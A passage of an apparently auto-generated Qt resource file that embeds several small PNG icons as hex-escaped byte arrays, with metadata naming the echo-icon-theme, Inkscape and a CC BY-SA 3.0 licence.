\xf2\xff\x33\xe7\xf0\xb0\xeb\xf5\xae\xe3\xdb\xda\x0e\x12\x47\xfa\
\xb5\xff\xcc\x3f\x97\xf3\xcd\x77\x66\xce\xcc\x99\x25\x11\xc1\xff\
\xb3\xd8\xad\x14\x3e\xf1\xda\x6b\x49\xd1\xf4\x1d\x81\x44\xd6\xda\
\x31\x09\x9d\xfb\xde\xb7\xbf\x7e\x7d\xed\xed\xac\x90\x81\x3f\x9c\
\x3a\xd3\xbb\xbd\x73\xd3\x87\x7b\xb6\xf7\x86\x62\xb1\x18\xaa\xd5\
\xee\xae\x4b\x44\x8d\x09\xcc\xa6\x0c\x33\x0a\x85\x22\x32\xd9\x0c\
\x06\x47\x46\x30\x3e\x99\xc9\x5a\x81\xd7\x73\xe4\xc8\x57\xa6\xd7\
\x02\x60\xc5\x0c\xdc\xbe\x7e\xf1\xd3\x4d\x89\x43\xc5\x58\xac\x2d\
\xe4\x38\x36\x1c\xc7\x69\xbd\x33\xdb\x06\x0b\xa3\x54\xa9\xa0\xcd\
\xf3\x52\x37\x06\x86\x5e\x05\xf0\xc5\xb5\x00\x50\x2b\x2d\x78\xec\
\xd8\x31\xce\xe4\xf3\xa7\x82\xc0\x47\xbe\x30\xb3\xaa\xce\x42\xae\
\x0b\xcf\x8b\xa2\x3d\x99\x84\x65\xd9\x38\xb8\xf7\xb3\x5f\xf8\xfd\
\x8b\x2f\xff\xe4\x7f\x02\x00\x00\x44\xf8\xd5\xd1\xf1\x09\x28\x45\
\xf0\x7d\xbf\xe5\xce\x88\x08\x91\x70\x18\x5e\x34\x0a\xdb\xb2\xb0\
\x73\xc7\x0e\x24\xbd\xf0\xf1\x13\xa7\xfe\xb6\x7f\xb5\x00\x5a\x9a\
\xc4\x3a\x93\x7e\x6b\x60\x78\xa4\xb8\xad\x73\x6b\xb4\xe2\xfb\xb0\
\x2c\x0b\x27\x4f\x9e\x6c\xb9\x53\x6d\x0c\x76\xef\xdb\x8f\x50\x28\
\x84\x47\x3e\xf7\xb0\x7a\xed\xcd\x73\x67\x5f\x78\xe1\xdc\x03\x4f\
\x3e\xf9\x58\xeb\xd4\x8a\x48\x4b\xcf\x4b\xaf\xff\xfd\x46\xb1\x58\
\x94\xec\xd4\x94\x30\xf3\xaa\x9e\xc9\x6c\x56\x2e\x5c\xba\x22\x22\
\x22\xbe\xef\xcb\xbb\xe7\xcf\xcb\xf3\x7f\x39\x7d\xb2\x55\x5d\x44\
\xa4\x35\x06\x6a\x90\xcb\x20\x82\x70\x75\x05\x3a\x73\xe6\x0c\x32\
\x99\x4c\x4b\x2d\x54\x02\x83\xbe\x87\x1e\xac\x9a\x80\x6d\x63\xcf\
\xae\x5d\xb8\xfa\xd1\xcd\x23\xcf\xbd\xf8\xca\xe9\x1f\x3e\xf1\xad\
\xd3\xf7\x94\x81\x17\x4e\x9f\x39\x5f\x2a\x95\x65\x72\x32\xb3\x6a\
\x06\x6e\x0d\x0e\xcb\xfb\x57\x3e\x90\x59\xd1\x5a\xcb\x8d\x9b\x37\
\xe5\xf8\xf3\x27\x06\x7e\xfe\xf2\xcb\xee\x3d\x65\x80\x45\x0a\x00\
\x60\x59\x56\xeb\xe4\xd5\xa4\x58\x2a\xe1\xdd\x4b\x57\x31\x34\x9a\
\x46\x67\xc7\x66\xdc\xd7\xb9\x15\xf7\x75\x75\x61\x53\x3c\xd6\x1d\
\x4c\xe5\x7f\x04\xe0\xf8\x4a\xdb\x5a\xd2\x91\x0d\xff\x99\x8e\x31\
\x59\xfb\x60\xe0\x31\xd8\x13\x03\xef\x62\xe2\xb7\xbb\x0f\x3f\xfe\
\x83\xa8\xef\x07\xf0\xbc\xe8\xaa\x00\x30\x33\x86\x47\xc7\x70\x6b\
\x70\x08\x1f\x7d\x7c\x0b\xc3\x23\xa3\xb0\x2c\x85\x9d\x3d\xdd\x18\
\xbc\x7d\xbb\x08\x87\xba\x9e\x79\xfa\xe9\xec\x4a\xda\x5a\x94\x81\
\xeb\xa7\xc8\x8d\xc1\x7a\x36\xd9\xde\x19\x6a\xcc\x0f\xbb\xdb\x01\
\x10\x94\x65\x61\x7c\x7c\x1c\x6f\xbc\xf1\xc6\xaa\x99\x00\x00\x57\
\x04\x5f\x3e\xf4\x79\x7c\xfc\xe9\x30\xce\x5f\xba\x82\xa8\x6b\x47\
\x43\xb1\xf8\x4f\x01\x3c\xbb\x26\x00\xd1\x02\x1e\x82\xe5\x84\x02\
\xcd\xd5\x0c\x01\x2a\xd2\x86\xe4\xe6\x8d\x00\x00\x45\x84\x4d\x9b\
\x36\xe1\xe8\xd1\xa3\x6b\x02\x00\x00\xe5\x4a\x05\xdd\xdb\xb6\x61\
\xd7\x03\xf7\xe3\xd2\xfb\x97\x31\x34\x91\xe9\x5b\x69\xdd\x45\x01\
\x68\x8d\x7e\xdb\xb2\x11\x04\x73\x26\x36\x85\x0e\xb4\x27\x12\xd5\
\x8a\xb6\x85\x0b\x17\x2e\xe0\xea\xd5\xab\x6b\x06\xf0\xc4\x91\x23\
\xf0\xa2\x55\x0f\xdd\xde\x9e\xc2\xf0\xc0\x7b\x8f\xfe\xf5\x67\xf6\
\x59\xd6\xe6\xb6\x36\x18\x13\x20\xcd\x8c\x34\x31\xd2\x44\xb8\xf6\
\xdd\xdf\xc8\xc8\xb2\x00\x98\xb1\xd1\x30\x21\xd0\x82\xd9\x4d\xdb\
\xa4\x6c\xc1\xce\x64\x02\x80\x40\x29\x0b\xfd\xfd\xfd\xe8\xef\xef\
\x5f\x33\x00\x00\x88\x46\xc2\xa8\x78\x1e\xc2\xae\x8b\x89\xcc\x54\
\xa4\xe7\xc0\x86\xc7\x12\x31\x05\x13\x30\x8c\x11\x04\x01\x63\x34\
\x5d\xc2\x9d\xd1\xe2\xaf\x00\x3c\xb3\x3c\x03\x06\x71\x18\xa0\x6e\
\x42\x00\x46\x4c\x2f\x1e\x4e\x26\x6a\x00\x79\x55\x5e\x78\xbe\xec\
\xdb\xb7\x0f\xfd\xfd\xfd\x70\x6b\xfb\xa4\x40\x07\xa0\x20\x87\x20\
\x10\xe8\x40\x50\x9d\x6f\x84\x90\xa5\xe0\x86\x2c\xb0\x41\xac\xb1\
\xfe\xe2\x0c\x18\x24\xb4\x01\x44\x0b\x20\x80\xc0\x82\x49\x1c\x84\
\x6d\xdb\x10\x11\x28\xa5\xd6\xc5\xfe\x1b\x25\x1c\x0a\x21\x3f\x9d\
\x83\xcd\x53\x08\xb4\xd4\xd8\x07\x66\x2d\x40\x18\x30\x06\xde\x8a\
\x00\x68\x83\xb8\xa5\x05\x42\x0c\x01\x90\x95\x6d\xd8\xd1\xbb\x63\
\x5d\x15\x9e\x2f\xb6\x6d\x63\x60\x78\x18\x11\xe4\xa1\x35\x43\xeb\
\x86\x13\x87\x00\x86\x01\xcd\x2b\x64\xc0\x30\x12\x6c\x00\x45\x02\
\x41\xd5\x7c\x1e\xed\xda\x0a\x80\x40\x04\x9c\x3d\x7b\x16\xa3\xa3\
\xa3\x6b\x52\xb8\xbd\xbd\x1d\x87\x0f\x1f\xae\xa7\x0b\x85\x02\x86\
\x86\xef\x60\x87\x33\x09\x5f\x0b\xfc\xa0\xd9\x47\x31\x03\xa6\x05\
\x00\x71\x18\x80\x84\x41\x2c\xc8\x07\x36\xec\xf4\x3b\x98\x18\x98\
\x80\x9f\x4f\x63\x67\x30\x8e\x6e\x27\x8d\x4a\x21\x8d\xf2\x74\x1a\
\x95\xfc\x38\xb4\x31\x50\x6e\x0c\xca\x89\x81\xdc\x18\xc8\xf1\x60\
\x85\x62\x50\x6e\x0c\x96\xeb\xc1\x72\x63\x50\xae\x87\x50\x5b\x07\
\x92\x9d\x7b\x90\xec\xdc\xdb\xd4\x67\x7a\x7c\x1c\x53\xb9\x0c\x62\
\xc9\x3c\x74\xa0\xa0\x35\x37\x9d\xf9\x8c\x08\xcc\x52\x73\xe0\xdf\
\xc7\xe9\x7e\x36\x78\x4c\x18\x5f\x62\xc1\xc1\xc8\x74\x09\x0a\x01\
\x9c\xc4\x66\x1c\x4a\xbe\x8f\xdc\xc5\x1b\xb0\x23\x31\xd8\xd1\x18\
\xda\x62\x31\xa4\x36\x84\x21\xd2\x05\xe1\x4e\x88\x30\x58\x04\x10\
\x81\x98\xea\xbb\x08\x43\x58\xc0\x5c\x82\x36\x79\x14\x73\xd3\x98\
\x4e\xe7\x30\x36\x95\xc3\xd5\x4c\x0e\xb9\xa9\x1c\x94\x9b\x42\xb2\
\x73\x2f\x52\x9d\x7b\x30\x59\x72\xe1\x95\xae\xc2\xb4\x31\x44\x08\
\x81\x6e\x1e\x54\x36\x4b\x30\xf0\xde\xaf\xe9\x9b\xcc\x78\x45\xb9\
\x1e\x45\xe3\x1d\x88\x26\x3e\x03\x2f\xde\x01\xd7\x4b\x01\xd4\x58\
\xa5\x29\x01\x02\x40\xb5\x6d\xd1\x52\xbb\x23\x02\x90\xda\xb8\x01\
\x9d\xf3\xf2\x4b\xc5\x32\xa6\x33\x39\x4c\x4d\x5d\xc6\xc4\xf0\x10\
\xf6\xaa\x41\x14\x27\x80\x6c\x38\x8c\x90\xe3\xd4\x7b\x93\x59\x13\
\x5a\x8c\x01\x63\xf0\x35\x6f\x63\x0f\x6d\xdd\xf9\xc8\x3c\xd4\xc1\
\x42\x7a\x2f\x0a\xa8\x55\x71\x43\x16\x36\x6e\x69\xc7\xc6\x2d\xed\
\xd8\xb1\xbb\x17\x95\xb2\x8f\x9b\x1f\x0e\xe0\x5f\xef\x5c\x86\x45\
\x3e\xda\xdb\x9d\x3a\x00\x23\x4b\x30\x60\x18\x0f\x7a\xc9\xce\x39\
\x85\x97\x13\x5a\x36\x63\x55\xe2\x38\x84\xdd\x07\x7a\x31\x34\x78\
\x07\x33\xf9\x51\xc4\xb5\xcc\x2e\xa2\x60\x61\xf0\x62\xcb\xa8\x31\
\xe8\x76\x22\x71\x98\x05\x00\xac\x58\x35\x6a\xb9\xc6\xa2\xe2\x79\
\x21\x64\xd3\x06\x81\x99\x73\xa4\xb5\x39\xb0\x08\x00\x86\x11\xd6\
\x60\xe3\xb7\xac\xc0\xf2\xd6\xd5\x3a\x20\x2f\x16\x42\xa9\xc2\xd0\
\x7a\x6e\x1d\x62\x16\x18\x03\xf5\x8b\xc7\x29\x7a\xec\x75\x29\xce\
\x07\xa0\x99\xf5\x3c\x13\x5a\x1f\xb3\xa8\xb7\x46\x2b\x6f\x2f\x1a\
\x75\xe0\x57\x04\xda\xcc\x01\x10\x53\x73\x6c\x36\x62\x00\xe6\x01\
\x30\x08\x98\xcd\x12\x73\x60\x7d\xc1\xd4\xdb\x5b\xa4\xd9\x48\xc4\
\x86\xd6\x82\xc0\x17\xd0\xfc\xe0\x8f\x8f\x18\x80\xf4\x7c\x00\x5a\
\x8c\x06\xb7\x6e\xf0\xf7\x04\x50\x24\x5a\x55\xad\x54\x66\xb8\xee\
\x5d\x7d\xd5\x8f\x82\x8d\x26\xe4\x57\xca\x45\x84\xc2\x91\x05\xf5\
\x5b\x5c\xdd\x7b\x03\xc4\x75\x08\x44\x84\x4a\x85\xa1\x2c\x85\xc6\
\x38\xac\x65\xa1\x6e\x26\x8d\x0c\x7c\x52\x9e\x99\xd9\xe5\x38\xf6\
\x72\x6d\x2f\xf1\x79\x7d\xc1\x44\x3d\x07\x15\x5f\xc3\x71\xab\xe9\
\x5a\x24\x07\x26\x40\x3d\x00\xd6\xc8\xc0\x95\xe2\xcc\xcc\x57\xbd\
\xb6\x16\x0e\xea\xcb\xea\x4b\xab\xab\x56\x93\x78\x5b\x08\xd9\x6c\
\x00\x6d\xaa\xbe\xa0\x1e\x7f\xe0\xea\x04\x6e\x02\xc0\x8c\x0f\xca\
\xc5\x12\xc4\xf8\xab\x59\xf8\x5b\x92\x05\x82\xf2\x0b\x96\x4b\xa5\
\xc2\x48\x8f\xe7\xa1\x6b\xce\x4c\x66\x5d\x42\x65\x21\x00\x06\x57\
\x4a\xc5\x32\x84\x97\x0b\xda\xae\xd1\x4c\x5a\xf0\x0d\xa9\x94\x0d\
\x36\x40\x60\xe6\x0e\x34\x00\xf8\xd8\x5b\x52\xbe\x0b\x40\xae\x8c\
\x8f\x60\xf9\x81\x18\x7f\x5e\xe0\x7f\xc5\xb3\x79\xdd\x81\xa7\xe2\
\x16\x44\x50\x3d\x5a\x52\xdd\x84\x8a\x8d\x65\xea\x00\x9e\x7a\x4e\
\x82\x13\x4f\xd3\xf5\xe2\x4c\xb1\x2f\x12\xb1\xd7\xa2\xe9\xea\x14\
\x5f\xa0\x58\x38\x0c\x84\x42\x0a\x22\x0c\x22\xcc\xda\x5e\x53\x04\
\xbb\x69\xc9\x31\x06\x6f\x4f\x4c\x14\xfb\xba\xb6\xb6\x78\x05\x76\
\x8f\x36\x76\x00\x21\x95\xb4\x31\x91\xf5\x61\xa9\x2a\x03\x02\x14\
\x89\x88\xa4\x16\x52\x6c\x06\xa0\xf1\xa7\xf1\x74\xe5\xc7\x9d\x1d\
\x56\x8b\x3a\xdc\x3b\xb6\x52\x09\x42\x7a\xb2\x76\xd6\x20\x40\x84\
\xfc\xfd\xfb\xf7\x25\xfb\xfa\xfa\x7c\x63\x4c\xd0\x04\xe0\xa9\x3f\
\xca\xc5\xdf\x1d\xa5\xcb\x23\x63\x95\xbe\x54\x52\x61\xd9\x65\xb0\
\x55\xeb\x58\x21\x53\x8d\xb9\xb1\xa8\x80\x35\x80\x50\x95\x01\x16\
\xf2\x89\x68\x73\xb9\x5c\x2e\x38\x8e\x93\xbb\xcb\x6b\x55\x58\xfd\
\x72\x70\x58\xbf\x14\x0e\xa9\x65\x14\xa4\x75\x06\xb3\x70\xc9\x48\
\x18\x55\xf3\xe1\xea\x53\x34\x4e\xd6\x18\xd3\x63\x59\xd6\x6d\xa5\
\x54\xb1\x09\x00\x11\x59\xbd\xbd\xbd\xff\xf8\xfe\xc1\xe1\x7f\x7a\
\x77\x82\x43\x1b\x36\xac\x4c\xa9\xd5\x48\x2b\xc0\x3b\x36\x03\xa3\
\xe3\xd5\xb2\xd9\x4a\xb4\x4c\x44\x9d\x8e\xe3\x8c\x17\x8b\x45\xd3\
\xb4\xcf\x3b\x70\xe0\x40\x38\x1e\x8f\x77\xbf\x39\xd0\xf3\xd6\xad\
\x11\x6b\xa6\x50\xb8\x77\x00\x66\x03\x96\xb5\x38\xc0\x92\xcf\xd6\
\x2d\x40\x34\x5c\xdd\x4e\xa7\x4b\x9e\x0b\x60\xbb\x31\x66\x93\xd6\
\xda\x6f\x62\x20\x93\xc9\x70\x32\x99\xcc\x4f\x69\x37\x77\x6e\xa0\
\xe7\xe4\x4c\x65\xe8\x1b\x89\x90\xdf\xa1\x6a\x30\x45\x00\xa2\x6a\
\xc7\x44\xcd\xa3\x48\xd2\x30\x9a\x8d\xe9\x45\xbe\x11\x01\x32\xef\
\xdb\xec\x52\xd9\xf8\x6d\xb6\x3f\xdb\x06\xf2\x15\x77\x6c\x78\x26\
\xf1\x36\x11\x7d\xe0\xfb\xfe\x8d\x81\x81\x01\xae\x5f\x70\x10\x11\
\xed\xdd\xbb\xd7\x53\x4a\x75\x31\x73\xb7\x52\x6a\xa3\x31\xa6\xad\
\x3d\x5c\xee\xb0\x2d\x71\x15\xc8\x66\x16\x9b\x88\x88\x14\x94\xb0\
\x28\x10\x55\x71\x48\x55\x05\x52\x42\x22\xa2\x2c\x52\x24\x22\x8a\
\x21\x6a\x76\x26\xd5\x40\x13\x11\x18\x00\x14\x20\x22\x22\x04\xc8\
\xdc\x85\xbe\x40\x11\xb1\x54\xc7\x9e\x2d\x82\x11\x11\x86\x88\x51\
\x4a\x38\x53\xf6\x6e\x4d\xf9\xee\x4d\x66\xfe\x24\x97\xcb\xdd\x1e\
\x19\x19\x29\x35\x32\x40\xe1\x70\x98\x0b\x85\xc2\xb4\xe3\x38\x83\
\x22\x32\x49\x44\xe1\x89\xa2\xfb\x1f\xa5\x94\xa5\x94\xb2\x98\xd9\
\x52\x4a\x29\x54\x6f\x76\xea\x63\x6a\x59\x16\x6a\x69\x12\x11\x25\
\x22\x64\x59\x16\x31\xf3\xec\x52\x26\x44\x24\xb5\x81\x12\x63\xcc\
\x6c\xba\xfe\xcb\xcc\xf5\x34\x33\x1b\x22\x62\x66\x36\x4a\x29\x63\
\x8c\x61\xc7\x71\x7c\xad\x75\xde\x98\x20\x5b\x28\x14\xb2\x23\x23\
\x23\x65\x11\x91\xa6\x2b\xa6\xea\x80\x42\xf5\xf7\xf7\xab\x5c\x2e\
\xa7\xca\xe5\xb2\x62\x66\xda\xb2\x65\x0b\x00\x20\x08\x02\x02\x00\
\x63\x4c\xd3\xd4\xd3\x5a\xd7\xd3\xc6\x18\x62\xae\x1e\x8b\xe2\xf1\
\x78\x3d\x7f\x7a\x7a\x5a\x00\x40\x29\x55\xef\xd0\xb2\xac\xfa\xbb\
\x6d\xdb\x4d\xf9\x8e\xe3\x08\x00\x8c\x8d\x8d\x89\x6d\xdb\xe2\x79\
\x1e\x5f\xbb\x76\xcd\x00\x60\x69\x50\xfa\xae\x3b\x32\x9a\x3b\xb8\
\x36\x2a\xb9\x1a\x4f\xd5\x58\x67\xb5\xff\xe9\x69\xac\x27\xb2\xc0\
\x85\xde\x7f\x01\x8b\xbf\xd2\xaa\x53\x46\x78\x75\x00\x00\x00\x25\
\x74\x45\x58\x74\x64\x61\x74\x65\x3a\x63\x72\x65\x61\x74\x65\x00\
\x32\x30\x31\x30\x2d\x30\x35\x2d\x32\x34\x54\x30\x37\x3a\x33\x38\
\x3a\x31\x35\x2d\x30\x36\x3a\x30\x30\xde\x18\xbd\x60\x00\x00\x00\
\x25\x74\x45\x58\x74\x64\x61\x74\x65\x3a\x6d\x6f\x64\x69\x66\x79\
\x00\x32\x30\x31\x30\x2d\x30\x35\x2d\x32\x34\x54\x30\x37\x3a\x33\
\x38\x3a\x31\x35\x2d\x30\x36\x3a\x30\x30\xaf\x45\x05\xdc\x00\x00\
\x00\x36\x74\x45\x58\x74\x4c\x69\x63\x65\x6e\x73\x65\x00\x68\x74\
\x74\x70\x3a\x2f\x2f\x63\x72\x65\x61\x74\x69\x76\x65\x63\x6f\x6d\
\x6d\x6f\x6e\x73\x2e\x6f\x72\x67\x2f\x6c\x69\x63\x65\x6e\x73\x65\
\x73\x2f\x62\x79\x2d\x73\x61\x2f\x33\x2e\x30\x2f\x61\xec\xaf\x51\
\x00\x00\x00\x19\x74\x45\x58\x74\x53\x6f\x66\x74\x77\x61\x72\x65\
\x00\x77\x77\x77\x2e\x69\x6e\x6b\x73\x63\x61\x70\x65\x2e\x6f\x72\
\x67\x9b\xee\x3c\x1a\x00\x00\x00\x16\x74\x45\x58\x74\x53\x6f\x75\
\x72\x63\x65\x00\x65\x63\x68\x6f\x2d\x69\x63\x6f\x6e\x2d\x74\x68\
\x65\x6d\x65\xa9\x4c\xb7\x53\x00\x00\x00\x34\x74\x45\x58\x74\x53\
\x6f\x75\x72\x63\x65\x5f\x55\x52\x4c\x00\x68\x74\x74\x70\x73\x3a\
\x2f\x2f\x66\x65\x64\x6f\x72\x61\x68\x6f\x73\x74\x65\x64\x2e\x6f\
\x72\x67\x2f\x65\x63\x68\x6f\x2d\x69\x63\x6f\x6e\x2d\x74\x68\x65\
\x6d\x65\x2f\x88\x32\x2e\x43\x00\x00\x00\x00\x49\x45\x4e\x44\xae\
\x42\x60\x82\
\x00\x00\x05\x5d\
\x89\
\x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52\x00\
\x00\x00\x20\x00\x00\x00\x20\x08\x06\x00\x00\x00\x73\x7a\x7a\xf4\
\x00\x00\x00\x04\x67\x41\x4d\x41\x00\x00\xaf\xc8\x37\x05\x8a\xe9\
\x00\x00\x00\x19\x74\x45\x58\x74\x53\x6f\x66\x74\x77\x61\x72\x65\
\x00\x41\x64\x6f\x62\x65\x20\x49\x6d\x61\x67\x65\x52\x65\x61\x64\
\x79\x71\xc9\x65\x3c\x00\x00\x04\xef\x49\x44\x41\x54\x78\xda\x62\
\xfc\xff\xff\x3f\xc3\x40\x02\x80\x00\x62\x62\x18\x60\x00\x10\x40\
\x03\xee\x00\x80\x00\x1a\x70\x07\x00\x04\xd0\x80\x3b\x00\x20\x80\
\x06\xdc\x01\x00\x01\x34\xe0\x0e\x00\x08\xa0\x01\x77\x00\x40\x00\
\x0d\xb8\x03\x00\x02\x88\x05\x44\x84\x31\x32\x32\xfc\x03\xd2\x7f\
\x81\xf8\x17\x03\x03\xc7\x4f\x06\x06\x3d\x20\xdb\x99\x87\x95\xd7\
\x8b\x47\x80\x5f\xe9\xd3\xdb\x0f\xd7\x7e\xfc\xfb\x72\x0a\xa8\xe6\
\x0c\x50\xc3\x15\x36\x06\x86\x07\xec\x0c\x0c\xbf\xf9\x80\xea\x19\
\xc9\xb0\xf4\x10\x10\xdf\x03\x62\x50\x21\x08\x10\x40\x2c\x50\x31\
\xee\x1f\x0c\x0c\xfe\xac\x0c\x6c\xce\x52\x72\x92\xe6\xca\xba\x32\
\x2a\x5a\x26\x52\xec\x5a\x86\x82\x0c\x82\xc2\xac\x0c\x6f\x5f\x7d\
\x93\x7a\xfa\xe8\x8b\xcb\x93\x7b\x1f\x19\x9e\xdc\xff\xfa\xf1\xc1\
\xa5\x47\x8f\x5e\x3d\x7a\x9c\x0e\xd4\x77\x9c\x1c\x5f\x3b\x00\x31\
\x3b\x94\x0d\x10\x40\x60\x07\xb0\xb3\xb0\x2c\x08\xca\x70\x0b\x31\
\x76\x90\x63\x90\x53\xe6\x60\x60\x17\x07\x4a\xf3\x70\x03\x25\x44\
\x18\x18\x98\x79\x19\x84\xff\x7d\x62\x50\xfb\xf7\x8e\x81\xe1\xcf\
\x27\xa0\xea\xe7\xfc\xe7\xe7\x7f\xd2\x6d\xcb\x7d\x6c\x4b\xae\x03\
\x40\xa1\x6d\x0b\x65\x03\x04\x10\xd8\x01\xdc\xac\x8c\x1a\xde\x1e\
\x7f\x19\x78\xdd\x78\x18\x18\x58\x85\x40\x22\x50\xa9\x3f\x40\x0c\
\xb4\x98\x99\x19\x48\x03\x1d\xc3\x2e\x0d\x8c\xa7\xaf\x0c\x7c\x2c\
\xb7\x41\xda\xac\xbf\x03\xa3\x89\x11\xa2\xe8\x0f\x8e\xd8\xf8\x05\
\x0a\x69\x18\x07\x68\xca\x6f\x60\xf4\x5d\x80\x49\x80\x00\x40\x00\
\x81\x1d\xc0\xcc\xc4\xc0\xf8\xeb\xd7\x17\xa0\xe1\xaf\x18\x18\x3e\
\xdc\x67\x60\x60\x03\x9a\xc5\xcb\xcb\xc0\xc0\xc4\x06\xd5\x0f\x33\
\x9b\x15\xa8\xf3\x21\x83\xa8\x22\x1f\x43\x70\x8a\xa6\xdf\xef\xdf\
\x7f\xfd\xfe\xff\x81\x9a\x0f\xb3\xe6\x3f\x23\x28\x72\x19\xfe\xfc\
\xfa\x0f\x8e\x63\x30\x1f\x64\x02\xd0\x92\x57\x8f\xbf\x32\x5c\x3c\
\x75\x6f\x0e\x3b\xc3\xff\x4c\xa8\xc3\x19\x00\x02\x08\xec\x00\x26\
\x16\x26\x26\x56\xb6\x3f\x0c\x77\x96\x1c\x62\xd8\xbd\xe6\x2d\x83\
\x81\xb5\x0e\x83\x65\x22\xd0\x72\xe9\x7f\x20\x9d\xa8\x99\x86\xe3\
\x1b\x03\x9f\x05\x37\x43\x84\xdb\x4f\xb0\x45\x0c\x7f\x19\x21\x61\
\x0a\x72\x08\x2c\x25\xff\x03\x8a\xfd\x65\x82\xd0\xbf\xff\x43\xc5\
\x80\x92\xcf\xd8\x19\xd6\xcd\xd3\x4d\x59\xb7\xf0\xa6\x38\xf3\xdf\
\x9f\xf1\x40\xd1\xf7\x00\x01\x04\x76\x00\x2b\x1b\x23\xdb\x8f\x6f\
\x9f\x19\x16\xf7\x3c\xfa\x7a\xe9\xe6\x3f\xef\x63\x3b\x2f\xe6\xca\
\xea\xbb\x04\xcb\x48\x9e\x00\x06\x0f\xcc\xf7\x8c\x0c\xbf\x7f\xfe\
\x67\xf8\x74\xf3\x3f\x38\x30\x19\x19\xbe\x43\xe2\xf3\xdf\x7f\x06\
\x26\xa0\x9a\x7f\x7f\x81\x34\x30\x80\x80\x5c\x06\xc6\xbf\x10\xb7\
\xfe\x63\x84\x8a\x01\x1d\xc1\x04\x12\x60\xfa\xc4\xe0\x1a\xc5\xc6\
\x20\xa5\x28\xef\x3b\xb7\xf5\xde\x7e\xa0\x2a\x03\x80\x00\x82\x84\
\x00\x33\x30\x96\x81\x21\xc0\xc6\xcc\x08\xb2\x0d\x68\xd4\xff\x9f\
\xff\xff\x03\x4d\xf9\xfd\x16\xe8\xcb\xbf\xf0\x58\xf8\x07\xb4\x93\
\xfd\x23\x28\xd1\x02\xb9\x4c\x90\x48\x05\x99\x0b\x0a\xa4\xff\xc0\
\x00\x63\x7e\x07\x11\xff\x27\x0a\x11\x67\x7a\x03\xa4\xbf\x01\xb1\
\x38\x50\x5e\x00\x28\x07\x32\xe7\xfd\x77\x86\x8f\x97\x3e\x31\xfc\
\xf9\xc3\xf0\x18\x64\x37\x40\x00\xb1\x40\xa2\xef\x3f\x2b\xb7\x00\
\x33\x43\x7c\x13\x2f\x97\xe4\xf2\xcf\x87\xd5\xf5\xe4\x18\x64\x75\
\xaf\x33\x30\x7c\xf9\x8b\x92\xa2\xd8\x81\x86\xb2\x1b\xc0\x03\x84\
\x01\x1a\x08\x10\x36\x30\x55\xfd\x03\x26\x9f\x4f\x40\x37\xf3\x8b\
\x42\xe4\xbe\x5f\x61\x60\xb8\x71\x89\x81\x41\x55\x13\x98\xa9\xb4\
\x80\x62\x4f\x18\x18\xd6\xcf\x67\x60\x58\xbd\xe7\xff\x12\x60\xc0\
\x24\x81\xb4\x02\x04\x10\x24\x11\x02\x43\xe0\x3f\x50\x87\x8c\xc9\
\x4f\x86\x24\x33\x2e\x60\x18\x3c\x05\xc6\x29\x30\x51\x7e\x44\xb2\
\x1d\x16\x13\xff\xa1\xe5\x27\x08\xbf\x67\x60\x78\x7a\x8c\x81\xe1\
\xf5\x73\xa0\x72\xa0\x03\x4e\x1f\x60\x60\xb8\x7c\x83\xe1\x69\x7c\
\x3c\x83\x34\x27\xd0\x86\x95\x2b\x19\x3e\xde\x7d\xca\xb0\x52\x9c\
\x8f\xc1\xc4\xd2\x98\xc1\xe8\x2f\x30\xd9\x6d\x3b\xcc\x30\x1f\x28\
\x95\xcc\x08\x4d\xb6\x00\x01\x04\x49\x03\xac\x0c\xac\xcc\x2c\x7f\
\xc0\xc1\xc3\xf0\x17\x87\xa5\x88\xa4\xc0\xf0\xfd\x05\x50\x29\xd0\
\xd2\xef\x40\x07\xce\xeb\x64\x60\xb8\xfd\x92\xa1\x0b\x68\xd0\x6b\
\xa0\xd4\x6d\xa0\xbb\x0e\x4d\x9d\xcc\x50\x07\x64\x4b\x00\x4d\xac\
\xe7\x64\x60\xb8\xf5\xee\x13\x03\xf3\x86\xfd\x0c\x2e\x40\x39\x45\
\x60\x4c\xcd\x40\x0e\x55\x80\x00\x82\x44\xc1\xff\xbf\xbc\x7f\xbf\
\x03\x6d\x16\x12\x06\x5a\x00\x4c\xdd\xbf\x80\x18\xc4\xff\xf5\x0f\
\x12\xcf\x6c\xd0\xf8\x66\x86\xe8\x58\xd9\xc5\xc0\xb0\xe7\x00\xc3\
\x76\x20\x17\x18\xe8\x0c\xa7\x81\xa5\xc6\x02\x64\x43\x81\xee\x2d\
\x64\x80\x6a\x83\x5a\xf2\x17\x88\x77\x22\xc9\x83\x32\x34\x18\x00\
\x04\x10\x23\x28\xaf\x26\x31\x31\xb6\x89\x8a\x31\xf9\xca\xa9\xb1\
\x28\x29\xe9\x32\x71\x29\xe8\x30\x30\x48\xa9\xfe\x61\xe0\x13\xfa\
\xcb\xf0\xeb\xeb\x7f\x86\xcf\xaf\x20\x3e\x7e\x03\x8c\xc3\x97\x0f\
\x19\x18\xf6\x6d\x61\xb8\xf7\xee\x0b\x83\x1a\x0b\x24\x13\x12\xac\
\xed\xfe\x61\x11\xdb\x03\xc4\x0f\x81\x76\x03\x04\x10\xd8\x01\x89\
\xc0\xc4\xff\x1b\xe8\x50\x60\x90\x29\x01\x5d\x67\x08\x74\xb9\x95\
\x00\x0f\x83\x99\xa8\x24\x83\xda\xf7\x4f\x0c\x9f\x3e\xbc\x63\x78\
\xf0\xed\x37\xc3\x5d\x60\x34\xdf\x02\x1a\x76\x9b\x83\x81\xe1\x22\
\x13\xa4\x3e\x21\x08\x80\xc9\x84\x41\x10\x4d\x0c\x94\xff\x1e\x42\
\x2b\x23\x80\x00\x62\x1c\xe8\x66\x39\x40\x00\x0d\x78\x7b\x00\x20\
\x80\x06\xdc\x01\x00\x01\x34\xe0\x0e\x00\x08\xa0\x01\x77\x00\x40\
\x00\x0d\xb8\x03\x00\x02\x68\xc0\x1d\x00\x10\x40\x03\xee\x00\x80\
\x00\x1a\x70\x07\x00\x04\x18\x00\xab\x94\x83\xf9\x01\xe4\xcd\xd5\
\x00\x00\x00\x00\x49\x45\x4e\x44\xae\x42\x60\x82\
\x00\x00\x04\x79\
\x89\
\x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52\x00\
\x00\x00\x16\x00\x00\x00\x16\x08\x06\x00\x00\x00\xc4\xb4\x6c\x3b\
\x00\x00\x04\x40\x49\x44\x41\x54\x78\xda\x95\x54\x5f\x4c\x53\x67\
\x14\xff\xdd\xdb\xaf\xff\x4b\x0b\x6b\x69\x29\x4c\xa5\x08\x28\xa4\
